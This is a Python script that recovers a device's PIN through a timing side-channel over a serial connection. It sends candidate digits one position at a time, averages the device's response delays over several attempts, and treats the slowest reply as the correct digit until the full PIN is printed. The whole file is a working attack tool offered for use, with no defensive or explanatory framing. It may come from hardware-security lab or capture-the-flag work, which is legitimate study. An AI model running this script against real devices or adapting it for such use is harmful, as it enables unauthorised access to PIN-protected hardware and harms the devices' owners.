import serial import time import argparse # Constants SERIAL_PORT = '/dev/ttyUSB0' BAUD_RATE = 9600 PREFIX = "" ATTEMPTS = 3 DELAY = 0.8 KEYSPACE = ["1", "2", "3", "4"] BYTE_SIZE = 10 # 8 data bits + 1 start bit + 1 stop bit def get_response_time(serial_port, message): """ Function to send message, wait for response, and measure response time. """ serial_port.flushInput() first_line_received = False for i, char in enumerate(message): time.sleep(DELAY) serial_port.write(char.encode()) if i < len(message)-1: raw_response = serial_port.readline() raw_response = b'' while True: byte = serial_port.read(1) if byte: if byte == b'\n' and not first_line_received: first_line_received = True elif first_line_received: start_time = time.time() break final_response = serial_port.readline().decode(errors='ignore').strip() response_time = time.time() - start_time print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) time.sleep(DELAY) return final_response, response_time def calculate_average_response_time(serial_port, message): """ Calculate average response time over multiple attempts. """ total_time = 0 response_times = [] for _ in range(ATTEMPTS): response, response_time = get_response_time(serial_port, message) total_time += response_time response_times.append(response_time) average_time = total_time / ATTEMPTS print(f"\r{message} average: {average_time:.4f} seconds - ", flush=True) return average_time, response_times def identify_sequence(serial_port, length): """ Identify the complete sequence of characters by sending test sequences. """ prefix = "" for pos in range(length): slowest_avg = float('-inf') best_digit = None for key in KEYSPACE: message = prefix + key + key * (length - len(prefix) - 1) print(f"Testing: {message}", end='', flush=True) avg_time, _ = calculate_average_response_time(serial_port, message) if avg_time > slowest_avg: slowest_avg = avg_time best_digit = key prefix += best_digit print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") return prefix def estimate_serial_time(message_length): """ Estimate time taken for serial communication based on baud rate. """ bits_per_second = BAUD_RATE chars_per_second = bits_per_second / BYTE_SIZE time_per_char = 1 / chars_per_second return message_length * time_per_char def main(): parser = argparse.ArgumentParser(description="PIN length argument") parser.add_argument("length", type=int, help="Length of the PIN to test") args = parser.parse_args() length = args.length max_attempts = len(KEYSPACE) * length * ATTEMPTS serial_time = estimate_serial_time(length * len(KEYSPACE)) estimated_time = max_attempts * (DELAY + DELAY + serial_time + 0.05) # Adjusted for serial delay and print time print(f"########################################################") print(f"# Attempts: {ATTEMPTS} - Delay: {DELAY} ") print(f"# Maximum possible attempts: {max_attempts} ") print(f"# Estimated maximum time: {estimated_time:.2f} seconds ") print(f"########################################################") start_time = time.time() # Record the start time start_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(start_time)) print(f"Started at {start_timestamp}") with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: print(f"Starting sequence identification on port {SERIAL_PORT} with PIN length {length}...") sequence = identify_sequence(serial_port, length) print(f"########################################################") print(f"# Identified sequence: {sequence}") print(f"########################################################") end_time = time.time() # Record the end time end_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(end_time)) elapsed_time = end_time - start_time # Calculate total time taken # Convert elapsed time to appropriate format if elapsed_time > 3600: # More than 1 hour hours = int(elapsed_time // 3600) minutes = int((elapsed_time % 3600) // 60) time_str = f"{hours}h {minutes}m" elif elapsed_time > 60: # More than 1 minute minutes = int(elapsed_time // 60) seconds = int(elapsed_time % 60) time_str = f"{minutes}m {seconds}s" else: time_str = f"{elapsed_time:.2f} seconds" print(f"\nFinished at {end_timestamp}") print(f"Total execution time: {time_str}") if __name__ == '__main__': main()